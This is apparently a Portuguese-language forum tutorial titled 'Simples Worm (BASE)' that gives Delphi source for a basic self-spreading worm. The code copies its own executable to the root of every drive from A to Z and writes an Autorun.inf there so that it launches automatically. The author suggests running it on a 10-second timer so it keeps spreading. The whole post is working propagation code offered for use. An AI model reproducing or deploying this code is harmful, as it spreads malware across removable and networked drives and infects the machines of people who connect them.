Simples Worm (BASE)

[tekitos123 3]

Add um memo

propriedade Lines : Altere

open=arq.exe

 

no evento do form On Create

 

VAR

X:CHAR;

begin

For x:='A' to 'Z' do

begin

if DirectoryExists(x+':/') then

begin

CopyFile(Pchar(Application.ExeName),pchar(x+':/arq.exe'),FALSE);

Memo1.Lines.SaveToFile(x+':/Autorun.inf');

end;

end;

 

se prerefir vc pode colocar isso em um timer com interval de 10 segundos